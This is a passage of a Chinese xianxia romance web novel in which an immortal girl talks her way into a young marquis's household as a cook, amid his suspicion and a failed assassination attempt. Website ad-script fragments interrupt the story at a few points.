耳边的喘息声好一会儿才渐渐平息下去,璃音看他揪在被子上的指节松开,又陷入安稳的沉睡,只在被面上留下一团乱七八糟的褶皱,看得她心绪也乱七八糟的。 “安心睡吧,我以后不来打你了。” 她轻声反省着抬手,将被子上那团乱褶抚平,然后就靠着床沿坐去地上,又拿起那张忌口单子背了起来。 这才是今晚的头等大事。 府里明日就要招收新厨,璃音像个明天就要赶赴考场的学生,势要在今晚把这份考纲背得滚瓜烂熟。 她正背得兴起,忽觉颈间一凉,竟有一把闪着森冷寒光的匕首无声无息地抵上了她的脖颈。 “你是谁。” 熟悉的嗓音,却是陌生的、危险的声线。 璃音这才发觉自己竟忘了隐去身形。 都怪方才他做什么噩梦,她急着给他搭脉顺气现了身,竟就忘了再隐回去。 而且,这人是什么时候醒的? 璃音正怔怔地做着复盘,就感觉他的身子挟着某种凌人的气息一起自背后逼近,一只微凉的手掌缓而有力地托起她的下巴,迫着她不得不仰起了头,露出白腻纤长的颈线,后脑撞上他坚实的、因着清浅的呼吸而微微起伏的胸膛,她几乎是被他摁进了怀里。 但这姿势绝无一点暧昧亲昵。 这是猎人正在禁锢着自己的猎物,迫使她向自己展露出纤细而脆弱的脖颈,以供他更好地掌控,主宰,乃至猎杀。 “你是谁,来做什么。”他俯下身,嗓音压得极低,温热的气息拂过璃音耳后细小的绒毛,更衬得抵在颈间的锋刃冰凉,“不要让我再问第三遍。” 56. 第55章 璃音浑身寒毛都竖了起来。 不是怕的,是痒的。 她有点受不了他在她耳后灼出的那阵热烫。 璃音把自己微仰的头轻轻偏过一个角度,去与他隐在漆黑夜色中的瞳仁对视。 这样的姿势让两人的鼻尖几乎就要蹭到一起,四目相对,呼吸交缠。 他虚垂着眼睫看她,如锋的眸光似一条无形的寒冰铁链,将她无声锁住。 好凶! 像一只舔着尖牙,随时要噬咬她咽喉的小狼。 璃音默默拢了拢指骨。 ……好想给他一拳。 是谁的一剑害得她毫无准备就来到这里的,她半夜苦背这些有的没的又是为了讨好谁? 他还凶她! 虽然之前早就想过,若是这位慕小侯爷敢对她摆脸色,她就要揍他的,可是刚刚他做噩梦时,她又承诺过,不再打他了。 她不知道现在自己是一副什么样的表情,但她明显看到他漆黑的瞳孔危险地缩了一缩。 他静静垂眸凝视着她,却不似以往那样星眸璀璨,清辉漫天,只有毫不掩饰的、张扬迫人的威慑。 这让她头一次无比清楚地意识到,眼前的人不再是那个听话乖巧的小七,而是武宁侯府要风得风、要雨得雨,被天下人高高捧在手心里长大的慕玿小侯爷。 罢了罢了,不过是个被宠坏了又“弱不禁风”的凡人,让让他吧。 更别说她以后还想混成慕玿的贴身丫鬟呢,无论如何都不能惹恼了他,这会儿出师不利,之前设想好的贴心乖巧小厨娘上位之路是注定走偏了,她得另外想个法子挽救一下。 颈间冰寒的匕首又加力压了压,她知道,这是他在催她回答之前的那两个问题了。 ——她是谁,来这里做什么。 璃音脑子转得飞快,鉴于她说谎的水平估摸着也和小七差不多,撑不过两句就要被看穿,于是干脆眨了眨眼,眨出眼底的一片率真,给他抛去了一个极度荒诞,但又极度坦诚的回答:“是天上的神仙派我来的呀。” 他在她的神情上绝瞧不出一丝的破绽,因为她说的是一句真话。 “天上的神仙?”慕玿眉梢玩味地挑起,一双漂亮的眼睛慵懒却危险地半眯了起来,手掌更强势地捏住她的下巴,迫使她更深地仰头与他对望,“谭王,肈王……还是陛下?” “小侯爷不信么?” 璃音毫不畏惧地直直望进他的眼底,甚至觉得他这表情挺有意思,就也学他的眼神,将自己的双眸危险地半眯起来,因为太想给他一拳而握紧的五指松开,缓缓抚上他仅着了单薄里衣的胸口,再压低了声音,尽力让自己的嗓音听起来足够神秘:“这里是不是一入夜,就总是莫名发痛?” 掌下的心口暖热,心脏强而有力地跳动着,璃音却能感觉到,它在她的话音中紊乱了一瞬。 哼哼,怕了吧。 前几天晚上的拳头也不是白揍的,拿捏你这种凡人,还不是轻轻松松。 “小侯爷,你有血光之灾。”璃音小手继续不安分地在他心口乱按,提醒着他每晚准时要犯的心疾,语气凝重,“你须得让我陪在你身边四年,时刻不离左右,四年后,此灾可解。” 身后那人闻言没有说话,也没有动作,视线落在璃音干净剔透的眸子里面,半晌,竟勾唇笑了一下,像是听到了一个不大好笑的笑话,但因为讲笑话的人神态过于认真,倒给讲出这个笑话这一行为本身添了几分好笑。 璃音感到颈间寒意一消,是那把匕首被他撤了下去。 他真信了她的鬼话? 她就这样成功混入慕小侯爷身边了? 璃音还没来得及兴奋,手中那一张长长的忌口单子就被他劈手夺了过去,他抖了抖有些发皱的纸条,漫不经心地问道:“背到哪儿了?” 诶? 他怎么知道她在背这个? 难道是她方才背得太投入,不小心念出声了……才把他吵醒的? 忽觉捏在下巴上的指骨收紧,似是不满她的走神,那人强硬地抬起她无意识坠下的小脸,道:“回话。” 璃音看着他眼里蓄起被人忽视的微怒,眨了眨眼。 虽然脾气变坏了很多,但心思还是一样的好猜呢。 不过答话慢了一会儿,就惹得这位小侯爷生气啦。 她向他弯了弯眼角,笑道:“一多半吧,后面还记得不太熟。” 捏在颊上的手指松开,少年一把将她推开,将纸条轻轻扔在她的身上,声音冷淡而强势:“继续背。” 被他推得一个踉跄伏在地上的璃音:“……?” 这是什么发展? 而且……璃音撑在地面上的五指再一次想要收拢,她真的真的好想给这个叫慕玿的家伙一拳啊。 然而还没等她把拳头握起来,一柄寒剑已经抵上了她的咽颈。 “背。”少年长身执剑,居高临下地用长剑压着地上少女的肩颈。 剑身上映刻着璃音熟悉的星纹,熠熠清光洒了一室,也落了他满身。 璃音抬头看向此刻的少年,第一次发觉,原来星辉可以比日光更张扬肆意地耀眼。 不过…… 谁家好人睡觉的时候,床上摆这么多刀啊剑的! 尤其破军这样的无鞘利剑,他也不怕哪天一个翻身,就把自己削了块肉。 璃音凉凉瞥一眼那剑:它还真是忠心爱主,这么早就追过来了。 她现在没有玉横护体,全身上下一个能抵得过破军的法宝也没有,一番审时度势之下,她选择……立刻认怂。 “好,背背背。” 反正本来也是要背完的。 于是她默默捡起那张纸条,又默默地背了起来。 够乖了吧。 想想人家考前也是要头悬梁,锥刺股,她这膝着地,剑压喉……算了,反正最多四年,忍了。 谁知才背了两句,颈边的冷剑就映着寒光,森冷地往她肩头敲了一敲。 少年凌厉的嗓音同时传来:“出声。” 璃音蓦地抬眸,面对这张脸时总是柔软的眼神冷了冷,她可不是个可以肆意羞辱、打不还手的包子性格,看在这张脸的份上,她可以忍他一次,两次,但她同时也必须警告他:不要得寸进尺。 “怎么,这就演不下去了?”少年戏谑地扯了扯嘴角,森寒剑刃再一次贴上璃音细长的脖颈,“这个水平,就敢放你出来行刺,是看你这颗脑袋长得漂亮,我会不舍得割下来么?” 少年眼中像藏着一把幽沉锐利的剑,璃音一呆之后,却释然地笑了:是她还没入戏,如今是咸承二十五年,各地小国割据,兵戈扰攘,各自派往敌国的细作不知几何,一个将门里的小侯爷,面对深夜突然出现在自己床前的可疑女人,若连这点戒心都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有,如何在这乱世之中安身? 但再细想他说的话,颊上又不免一阵滚热。 原来她刚才使的装神弄鬼计根本没奏效,倒被他当成是细作惯用的美人计了。 不过想想她对他又是摸胸,又是鬼迷日眼,又是吐气如兰的,确实……好像……有点容易叫人误会。 璃音越想颊上越烫,破军,请一剑杀了她吧…… “你要割就割吧。”璃音尴尬垂眼,不再看他,反正他要敢割,她就敢跑,但她还是决定努力挣扎着为自己澄清一下。 于是她膝盖微微动了动,做好逃跑的准备,小小声道:“但我真的只是想应征侯府的厨娘而已。” 少年沉眸看着跪在地上的少女,视线扫过她微动的膝盖,将她每一个细微的动作都收入眼底,半晌,他抬剑,闲闲地靠回了榻上,用剑尖点了点床边,扬着下巴,向那少女道:“过来。” 璃音再次猛地抬头。 这又是什么发展? 不不不是真的要她使美人计吧? “爱妻美妾”四个字在璃音眼前晃了一晃,晃得她浑身一个激灵,就在她心里默默打颤,想着怎么逃跑的时候,少年又一次强硬而不容抗拒地开口了:“单子拿过来,坐这里,继续背。” 璃音:“……” 搞了半天,还是要她背书? 璃音慢腾腾起身,挪着步子坐了过去,小声问闲倚在榻上的少年:“背好了,能进侯府当厨娘么?” 小侯爷似乎心情不错地勾了勾唇,手中长剑却再一次压上了璃音的肩膀,他薄唇微动,冷而厉地向她吐出一个字:“背。” 于是璃音就这么被慕小侯爷用破军压坐在床上,背了一晚上的忌口单…… 一直背到月落星沉,晨曦初绽,背得璃音的嗓子都开始冒烟了,慕玿才终于放过了她。 不过一晚没睡,璃音只觉得比熬了三百年的夜还累,眼下骇然两团乌青,而且保持同一个坐姿太久,腿也有点麻,害她现在走路都有点打摆。 拿剑压着脖子逼别人背书,这究竟是什么癖好…… 慕小侯爷倒是精神不错,也没叫童墨伺候,就自己穿起衣服来。 璃音被他折磨了一晚,想着怎么也得讨点福利,看他这会儿剑也收了,微熹的晨光照在他身上,反叫眉宇间那一点迫人于无形的凌厉褪去了一些,活脱脱是个意气飞扬的少年,看起来是那种拍拍肩膀,就能称兄道弟的潇洒模样。 于是立刻小小步蹭了过去,哄着他笑道:“小侯爷,今天想吃什么呀?” 今天府里招厨,肯定是要试菜的,一步登天的福利她不敢要,但透个题总可以吧。 小侯爷系着腰带的指节停了停,想了一会儿,才转过头来,迎着她期待的眼神挑了挑眉,便果真向她透了题:“青菜。” 青菜? 不是什么刁钻的大菜,很家常,听起来还算简单,璃音心想自己虽然没做过,但试菜在中午,她等会赶紧找个地方学一下,临时抱一抱佛脚还来得及。 反正无论她把菜做得怎样,她都已有一个大大的优势了,别人都不知道小侯爷今天想吃青菜。 璃音正展眉笑得开心,就见少年嘴角翘起一个使了坏还得逞般的弧度,小侯爷咧牙一笑,像小狼亮出獠牙调戏自己的猎物:“你说我今天就让所有来府应征的人都做青菜,挑一个做得最好吃的怎么样?” 57. 第56章 小七是谁 璃音从小到大都不是个叛逆的性子,毕竟是太史令家养出来的姑娘,要礼节懂礼节,说规矩守规矩,虽然发呆诡异的怪事常做,但那种捉弄别人、并以此为乐的事却从未做过。 可以说,从肉体凡胎时候的她开始,就已经从外貌到品性都像是一块莹润温凉的瓷玉。 这块玉时常静自不动,你若远远地观赏它,会觉得它太过精致漂亮,忍不住想要凑近了看一看,看着看着,就觉得最好还能把它带回家,每日系在腰间坠着,时不时握在手里捏一捏,向全世界昭告自己拥有了这样极品一等的美玉。 但你若真想拿捏它,指腹触及的一瞬,它就会把你的整根骨节冻住,冷玉淬冰,还带着碎瓷锋利的豁口,要反割你一手的温血。 总而言之一句话,璃音这个人,只要你不去招惹她,她就绝不会主动来招惹你,但一旦真把她惹着了,说她睚眦必报那都是轻的。 现在,璃音就觉得自己被这位慕小侯爷狠狠地惹着了。 她生气的时候眉眼反而更加沉静,眸底会堆出一层薄霜,嘴角却爱噙一点淡笑,那笑像扎在雪地里的一根琉璃刺,冰而透明,谁要不经意间踩上,就是冰棱穿骨,血肉开绽。 但慕璟明不知是什么毛病,看到她这样冰寒彻骨的眼神和淡笑,竟反而全身都兴奋起来了似的,他眉梢轻挑,眼仁透亮,不再去管腰间扣到一半的皮带,而是漫不经心地抬起手来,将眼前少女垂落在肩头的一缕墨色发丝卷起,动作和嗓音一样玩味:“忍不住了,想杀我?” 璃音啪地一掌拍掉他纠缠在自己发尾的爪子,反手一把扭住他的胳膊,抬腿往他膝窝里一顶,就摁着慕璟明的肩骨,将他牢牢制服在了地上。 她到底是怕真伤了这脆弱的凡人之躯,所有动作都只用了三成力道,但这也让她这番迅如闪电的反制动作看上去更加轻巧了。 “小侯爷,你记住,我要杀你,易如反掌。”她倾身,贴唇去他耳边,把警告一字一句地轻声吹入他耳中,“所以你最好乖一点,少来惹我。” 慕璟明被璃音这样压制在身下,更加兴奋了起来,浑身的骨血都开始灼烫,他沉浸在这份热烫里面,好一会儿,才勾一勾唇,侧头去看压在自己身上的少女。 少女的力气很大,压得他肩骨传来阵阵钝痛,这痛叫他清透的瞳仁里泛起一层朦胧的水雾,他就用这样漂亮又脆弱得不像话的眸子看向她,眨一眨眼,那一汪潋滟的水光便也随之一闪,他就那样看着璃音,不时地轻轻眨眼…… 璃音:“……” 他这是在撒娇吧? 他这绝对就是在明目张胆地向她撒娇吧?! 璃音呆愣一瞬,继而有点想要捶胸顿足。 他可是神威赫赫的北斗第七神君下凡,一剑荡妖魔,冷眼踏鬼川,有多少妖魔鬼怪一听他的名号就软了腿。 这样叫人闻风丧胆的一位暴力神君,如今虽说转投在凡间,但好歹也是个将门小侯爷,以后也是要上战场的,结果……打不过就这样可怜巴巴地望着她,向她撒娇? 她是什么很容易被这种伎俩蛊惑的人吗? 她可是商月亲封的铁石心肠。 璃音狠狠压了压身下人的肩骨,咬牙切齿继续威胁:“你答应今天招厨的时候放我进府,我就饶了你。” 这一下压得确实有点狠了,骨骼都咔咔作响,慕璟明垂了头不再她,而是低而隐忍地向着地板发出了一声闷哼。 “小七?”璃音几乎是下意识地就卸了劲力,不该出现在这里的称呼脱口而出,“是不是弄痛你了?” 话未说完,一根韧长的皮带已经绕上了璃音的脖颈,温腻的皮革紧紧扼压住少女的咽喉,猎物再一次成为猎人,慕璟明收紧手中腰带,视线在少女因窒息和愠怒而透了粉色的面颊上凝住,他唇角翘起,笑得张扬:“你这么容易心软,以后怎么杀我?” 谁知少女被她勒着脖子钳制在怀,还有力气转了眼珠横他一眼,顺便恨恨踩了他一脚,仰着小脸怒道:“慕璟明,你不要脸!” 璃音这一脚踩得既准又狠,慕璟明忍不住嘶了口气,只觉得趾骨都要被这不好惹的小姑娘踩折了。 昨晚她第一次仰头与他对视的时候,向他投来的就是这样的眼神,有一点点生气,却不是盛怒,更像是带了点不满和委屈的气恼,仿佛在控诉他不该对她那么凶,不该用刀剑抵她的脖颈,也不该用皮带勒她的咽喉。 慕璟明回味着她那样的目光,眸色有些明灭不定。 那帮要杀他的人真是黔驴技穷了,派这样一个小姑娘来。 他自小睡眠就浅,最近连着几晚,每晚在她捶上他第一下的时候,他就醒了,他虚阖双眼,能模模糊糊看见一个小姑娘,轮着拳头就往他身上砸,但每次等他睁眼起身,她就不见了。 但他能感觉到她在暗中窥视着自己。 他也就不动声色地等着,他一直在等她真正动手的那一刻,看她要到什么时候才肯亮出匕首,把它插入自己的胸膛。 可他给她留了那么多的机会和破绽,她却迟迟没有出手,这个女人,她究竟想要做什么? 直到昨晚,他终于有些忍耐不住了,他不过轻轻出声试探了一下,就感觉到她手忙脚乱地扑了过来,她那样慌张又关切地喊他:“小七,这里痛吗?” 她似乎很关心他,至少表面上是如此,或许她有更大的图谋,或许那脱口而出的一声声“小七”…… 想到这里,慕璟明眸色一黯,他恶狠狠地一勒手中皮带,沉了声去问怀中的少女:“小七是谁。” 他察觉到怀里的人忽地僵了一僵,他看她缓慢地垂下了眼帘,静默几息之后,她再次抬眸,望向他的眼里就又带了点委屈的意思:“不关你事。” 仍旧不是那种楚楚动人的委屈,而是一种想要揪着他的耳朵给他一拳的控诉。 仿佛他不知道小七是谁这件事,是犯了什么天大的、不可饶恕的错。 慕璟明微怔,一个不可思议的想法逐渐在他脑中浮现。 直到怀中少女发出一声轻咳,他才回过神来,扯着皮带的手早已在回神之前就不自觉松了松,他顿了顿,视线寻上她琥珀色的眸,轻声试探着问:“小七是我?” 他看见怀中少女的眼睛亮了亮,像一只瞬间被顺好了毛的小猫,惊喜地弯一弯眼,向他满意地点了点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头,给了他一个“你还不算太笨嘛”的眼神表扬。 无论这演的又是什么戏码,她的这个表情在这一刻取悦了他。 “你叫什么名字?”他将脑袋隔着一层薄薄的空气搁去她的颈窝,嗅到了怀中人身上特有的一股淡淡的冷香。 会是在这香里藏了毒吗? 在一次又一次的暗杀中活下来的慕小侯爷有些不着边际地想着。 少女却缩了缩脖子,似是有点抗拒他的靠近。 慕璟明有些不悦地紧了紧勒在她颈间的皮带,却见少女无所谓地一笑,伸手往颈间一扯,就轻而易举地拽过了缠在上面的那根带子,手里晃着他的腰带转过身来,向他笑道:“我姓夏,叫夏璃。” 慕璟明垂目盯着她修长的脖颈,那里雪白一片,没有半点被勒过的痕迹。 他眯了眯眼。 然后就感觉腰间拢上了一对细长的臂膀。 “我一会儿还要去学炒青菜呢,现在没空陪你玩。”璃音伸手环过慕璟明劲瘦挺拔的腰身,把手中那根皮带歪歪扭扭地帮他扣了上去,“你要是想打架,就把我招进侯府,我可以天天陪你打。” 她算是看出来了,自己只要一动手,这位小侯爷就会莫名得兴奋,这会儿不过夺了他一根腰带,眼睛就又眯呀眯的,很有点小狼磨爪的意思。 璃音在心里啧了一声,完全是本着把玩过的玩具收拾好的心思,替他把那系斜了的腰带努力往正里掰扯着,说白了,这位小侯爷就是深宅寂寞,享受有人陪他拆招陪他玩的感觉呗。 哐当—— 装满水的铜盆落地,童墨一脸震撼又茫然地看着眼前这一幕,他觉得自己应该是还没睡醒,不然怎么会看到小侯爷卧房里有个女的,还……还在做着给他穿衣系带这样亲密的事? 于是他伸手揉了揉眼睛,揉得眼皮都发烫了,再狠狠眨了两眨,这才重新睁眼去看—— 还好,果然是自己看错了,哪里有什么给小侯爷细腰带的女的,这屋里分明就只有小侯爷一个人嘛……啊啊啊,女的!小侯爷房里真的有个女的! “躲什么?”慕璟明好笑地把躲在自己身后的少女拉了出来,“刀子都不怕,怕见人?” 璃音咳了一声,道:“我这还不是为了小侯爷您的清誉着想。” 她只是乍一看到童墨,有点心虚,毕竟隐身在侯府晃荡的这几天,她就光想着要怎样靠努力或武力把他取代掉了。 这样一大早地被他撞见,日后她若真的成功挤掉了童墨,那无论靠的是努力还是武力,他心里肯定都只会有另外的答案了。 慕璟明一边摆手示意童墨重新去打水来,一边抓着璃音的胳膊,冲她笑得扎眼:“你还是先想想怎么通过中午的试菜吧。” 真难伺候! 璃音默默甩掉他的手,头也不回地往外奔:“我还有事,先走了。” 得赶紧去抱佛脚了。 但到了门口,她还是停下步子,回了下头,难得露出了几分十指不沾阳春水的大小姐的娇蛮,她冲里面的人小猫龇牙一般喊道:“慕璟明,我这菜可是专门去为你学的,你中午要是不来吃,我就杀了你!” 58. 第57章 一盘炒青菜 到得晌午,白日高悬,碧空澄练。 武宁侯府开始招厨试菜的时候,慕璟明果然来了。 十七岁的少年意气飞扬,来时足下生风,踏的步子都比别人潇洒些,乌黑的长发被一顶银冠利落束起,瞳仁黑得发亮,盯人的时候,那跃动的眸光比正午天上的日头还闪。 璃音被他那张扬的眉眼和劲拔的长腿闪到,不由闭了闭眼。 心里只有一个词在不停地往外冒:招摇,招摇,还是招摇。 今天过来应征的厨子总共四人,这个数目不算多,但也不算少。 不算多自然是因为慕玿小侯爷“恶”名远扬,规矩贼多,还暴躁易怒,性情乖张,苛待下人,极难伺候…… 不算少则是因为这毕竟是武宁侯府,永远不缺怀着各种心思想要挤进来的人。 璃音进府一看这人数,本来觉得竞争不大,但等他们一个个排着队在灶台上颤锅颠勺、拿茄子雕花,而她锅铲还用不顺溜,只好拿双筷子把菜叶在锅里乱拨的时候,又觉得竞争无比激烈起来了。 小侯爷给出的题目是青菜,但除了璃音,没人真的就只老老实实炒了一盘青菜,毕竟都是有真手艺在身上的人,他们的实力和骄傲都不允许。 于是那一道道菜往小侯爷桌上端的时候,每一道都被这些大厨做得“花团锦簇”,有的把几根菜叶漂在一锅炖得雪白的鱼汤里,有的把菜茎炒进鲜美的肉汁里,有的甚至剁进了各种海鲜齐聚的肉馅里,蒸出了一屉白嫩喷香的大肉包。 璃音就在这三人之后,默默往小侯爷眼前端上了一盘除了菜叶子还是菜叶子的……纯菜叶,在旁边另外三盘金肴玉馔的衬托之下,简陋朴素到令人发指。 而且,那菜叶也有点奇怪,一根根都被摆得横平竖直,极其规整,每横着铺了九根,就要竖着压上九条,一丝不苟地像在编草席似的。 这倒真不是什么小巧思,纯粹是另外三个人做的功夫菜着实慢了些,璃音无聊着就给菜叶摆弄起了造型,自娱自乐打发时间。 慕璟明也够无聊的,居然真就戳着手指头,把那盘菜叶子横着竖着都数了一遍,抬头时眉梢也跟着抬起,眼角染着似笑非笑的弧度,去问端菜上来的少女:“怎么竖着的少了一根?” 璃音老实回答:“那根被我吃了。” 她并不抗拒下厨做饭这种事,但如果她做的这个饭,自己却只能看不能吃,那她就有点不乐意了。 说到底,她其实抗拒的是纯伺候人。 所以为了消解心里的这点抗拒,她抢在把菜端给慕璟明之前,自己先吃了一口。 少年闻言却若有所思地“唔”了一声,旋即勾唇笑道:“哦,今天没下毒呀。” 璃音:“……?” 合着还在把她当刺客呢? 另外三个厨子却面面相觑,各自的脸上都写满了“完蛋,你尝了么,我没有啊,是不是要尝一口啊”的惶恐。 感受到少女那想揍人的目光毫不遮掩地横了过来,慕璟明笑得越发粲然,他勾勾手,示意童墨过来,指尖在那盘诡异的炒青菜前点了一点,望向璃音的眼神直白而炽烈,道:“把她留下,叫其他人走吧。” 童墨无言震撼地看了看那盘炒菜叶,又抬头看了看炒出这盘菜叶子的眼神晶亮的少女,再扭头看了看眼神比那少女还要晶亮的小侯爷,回想着早上梦游一般撞见的画面,摸了摸后脑,又茫然又恍然,最后还是茫然地向其他三位大厨一伸手,道:“诸位,跟我出府吧。” 其中有个青年大为不服,才跟着童墨走出两步,就忍不住嘟囔着开口道:“小侯爷说是招厨试菜,结果一个菜也没尝,就把人定下了,这是什么道理?” 另有一个矮胖的中年男人闻言嗤了一声,皮笑肉不笑地道:“能是什么道理,你没看见那小姑娘长得什么模样,那小侯爷看她的又是什么眼神?咱们要进的是厨房,卖的是手艺,人家要进的房,那和咱们开的可不是一个门,至于要卖的东西嘛,嘿嘿……” 言下之意再明显不过。 那青年听了,眸色不忿地沉了沉,半晌,从鼻腔里甩出一个冷哼。 落选的三人里还剩下一位穿着藕色粗布衣服的大娘,手里提着一根擀面杖,那是她今天带来做包子用的,大娘自始至终都没有说话,只是沉默地随童墨走着。 他们自以为压低了声音,但璃音五感通达,这难听至极的一字一句,都清晰无比地落进了她的耳朵里。 她并不意外那些人会这么想,包括领着他们的童墨,心里肯定也是这么想的,她抿了抿唇,听见这样的议论,心里终归是不大舒服。 “回来。” 大约是自幼习武的缘故,慕璟明喝出这两个字的声音分明不大,甚至嗓音沉冷到有些低哑,但偏如冷箭破空,直直地向外传去,把正走着的四人齐齐喝住了。 三个落选的厨子都明显愣了一愣。 童墨服侍这位小侯爷的时间长了,早习惯了他这恣意随心、想一出是一出的行事作风,当即就把人领了回来,让他们都在桌前站定候着,自己则小步上前,向慕璟明恭声请示:“小侯爷?” 慕璟明闲闲地把背脊靠在椅背上,手指轻点着桌面,没什么表情地用眼神扫过桌前站成一排的三人,最后侧过头,向璃音道:“你来告诉他们,他们每一个人落选的原因都是什么。” 没想到慕璟明会把人再叫回来,璃音不知道他是不是听到那些难听的话了,但她确实很乐意为这几人指点一下。 当下便面无表情地一指那锅鱼汤,向那矮胖的中年男人道:“你给鱼去腥的时候,是不是用了葱?” 鱼不去腥怎么吃?男人刚要骂她不懂常识,嘴唇掀到一半,就见璃音用小匙舀了一勺浮着葱花的鱼汤出来,冷眼向他望了过来,打断道:“葱姜蒜芥不食,上一个厨子是怎么被赶出府的,你不知道么?” 接着撇下勺子,又拾起桌上的银箸,拨了拨旁边盘里的一块腊肉,抬头看那青年,道:“腌渍菹醢不食,你这炒的是不是腊肉,还有这汤汁里,是不是用了炸的肉酱?” 那青年隐在袖中的五指捏成了拳,一张脸憋得铁青,但也确实无话可说。 小侯爷那张长长的忌口单子,早早地就和府里准备好的食材一起,发放到每个前来应征的厨子手里了,只是他们一个个自负手艺超绝,总有种“他不爱吃这个,只是因为还没尝过我做的这道菜”的自信,也带着点对手里这张著名的“纨绔找茬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 单”的不屑。 方才在厨房做菜时,那两个男的还互相开玩笑地说起:“也是难为小侯爷编了这么多条出来,他自己都记不得写了些什么吧。” 现在这两个男人受了璃音这一遭诘问,脸色都难看至极,嘴上虽不说话,但看向璃音的眼神里却仍带着满满的愤懑不甘。 摆明了就还是觉得她这番话,还有小侯爷的那张单子,都是扯淡。 璃音见了他们这副神色,不由得扯了扯嘴角,扯出了一个没什么温度的笑。 人嘛,总是不肯承认失败的原因就出在自己身上,总爱找各种理由,非要往别人身上推。 璃音却是个全然相反的性子,她很少怨天尤人,若是在什么事上败了,她也不是没有怨,但怨的最多的永远是自己。 比如上一世,她自己搞砸了就是搞砸了,她不怨鬼王,不怨玉横,错在自己身上,她没什么好推诿的。 想到这,她看了眼一直沉默着的大娘,声音温和了一些:“大娘,你做的包子很好,我想它们一定很好吃,只是他好像不太喜欢这些直接拿在手里吃的东西。” 这是她在瑶池宴上观察小七吃蟠桃的时候总结出来的。 她伸手指一指闲靠在椅子上的那人,指责的意思明显:不是包子的错,都是这个人事多! 慕璟明被她指得掀了掀眼皮,却全无被人指责的自觉,反而在椅子上靠得更舒服了,那眉眼都懒懒的,像某种毛茸茸的翻着肚皮晒足了太阳的小动物,一派餍足。 “原来如此。”大娘稍晃了晃神,就很快接受了这个说辞,向璃音真心佩服地一笑,“姑娘真是心细如发。” 说着微微上前一步,面上露出一些窘迫地道:“这包子小侯爷不吃,不若让老婆子带走吧。” 她说话时,拿着擀面杖的左手不自然地在藕色棉袄上擦了擦,那袄子一看就穿得有年头了,被洗得发白,边上还有好几处破洞,冒芽一样向外吐着棉絮。 慕璟明抬眸看她一眼,轻而无声地点了下头,算是同意了。 大娘闻言一喜,忙谢过了小侯爷,就从怀里摸出个布兜来,上前来装包子。 这样上等的肉馅,平时大概是吃不到的吧,璃音见大娘开心,就也弯了眉眼,来帮她装兜。 慕璟明看两人装了会儿包子,又抬头,视线不经意向院门外望了过去,随即眼睫落下,半晌,他唇角自嘲般地动了动。 他在期待什么。 那个人不会来了。 他有些意兴索然地起身,反手叩着骨节敲了敲桌面,向童墨道:“等会儿你送他们三个离府。” 听童墨应了是,便抬步转身,准备要走。 谁知就在他转身这一霎,那正满脸欢喜地往兜里装着大肉包子的大娘忽地眼神一凛,原本要抓向包子的右手方向疾转,摸向左手一直握着的那根擀面杖。 只听唰的一声,起手处银光闪过,她手法和身法均是奇快,还不等众人看清她手中究竟握了个什么东西,就向前疾扑,向慕璟明毫无防备的背心刺去。 但璃音可不是凡人,她就像看慢动作一样,眼睁睁看着大娘从擀面杖里抽出了一柄寒光森森的短剑,心里想的是:嘿,还真有刺客! 59. 第58章 挡剑 银刃破空,带出劲疾风声,能在乱世里安然长到十七岁的小侯爷,怎么可能不熟悉这是什么动静。 慕璟明听声辨位,冷然侧身,同时从腰间抽出一柄软剑,想象中的锋寒利剑没有袭来,却是一截皓白手腕斜挡而至,轻疾灵巧,那手上甚至还拿着一个来不及放下的大肉包子。 只听当的一响,冷锐剑尖与那纤细的腕骨相撞,竟似撞上铜墙铁壁,撞出一片敲冰震玉的铮然之声。 行刺的大娘骇然地睁大双目,她这一击倾力而出,如今使出去的力道全部沿着剑身回震而来,她猛退数步,只觉虎口一阵撕裂般的剧痛,血腥味忽而于鼻尖弥漫,短剑脱手,鲜血自掌中不断滴落。 这一刺一挡都只发生在瞬息之间,看在未习过武的人眼中,就是装包子的大娘猛地向后踉跄,已是虎口撕裂,血流如注。 那矮胖的中年男人见了血,吓得五官扭曲,尖叫一声,破着音就晕了过去。 璃音:“……” 这大叔嘴碎的时候胆子挺大,没想到见了真刀真枪怂成这样。 她正暗自觉得好笑,就觉腰上被一股劲力一带,整个身子侧旋半周,一把匕首就戳上了自己的小腹。 肋下同时有细薄寒光刺出,如蛇软剑划过身前青年的咽喉,烫红的血色喷涌,溅上璃音微凉的面颊。 软剑不停,向后疾划,带着上一个人喉间的热血,割开下一个人的喉管。 璃音拍拍被尖刃挑出毛边的衣裙,又看看手中染了血点的肉包,小巧的鼻尖皱了皱,惋惜道:“包子,不能吃了。” 慕璟明收回软剑,喊来躲去桌子底下瑟瑟发抖的童墨,抬脚踢了踢地上两具尸体,声线听不出任何起伏地道:“埋了。” 又用下巴指一指旁边晕倒的矮胖男人:“抬出去。” 童墨一边颤声应是,一边抖着手拖起了尸体。 这差事可真不是好干的,每日端茶倒水,伺候起居也便罢了,脑袋还时时别在裤腰带上,这会儿还要负责收尸埋人。 他强忍着胃里翻涌出的不适,听见少女天真的嗓音传来:“原来真的有这么多人要杀你。” 然后似乎牵动了何处伤口,那少女轻轻地嘶了一声。 小侯爷此时的嗓音微凉,像肃杀冬日里被阳光烤出一些暖意的风:“会疼?” “旧伤。”少女的声音倒是轻灵悦耳,带着点安抚的意味,“他们刺的不会疼。” 童墨用布裹了尸首,听着两人缭云缱绻的对话,在心里嗤笑:傻姑娘是被小侯爷灌了迷魂汤了,这男人这会儿看着疼你,真到了生死关头,比如方才,你在他的眼里,还不就是个拿来挡刀的人肉盾牌。 看来也是个在乱世里活不了多久的,他本来还有些担心这姑娘的出现会给自己带来一些威胁,这会儿倒是放下心来了,自己的地位还是稳。 璃音却是真有点安抚慕璟明的意思,府里招厨,一共来了四个人,就有两个是刺客! 虽然少年面上不显,一副习之惯之,无甚所谓的模样,但心里怎么可能好受? 也难怪之前他会对她那样凶,那样防备了。 “怪我吗?” 少年温热的指腹触上面颊,摩挲着抹去少女颊边染上的一点血红。 璃音微怔。 这不是摇光神君第一次为她擦脸。 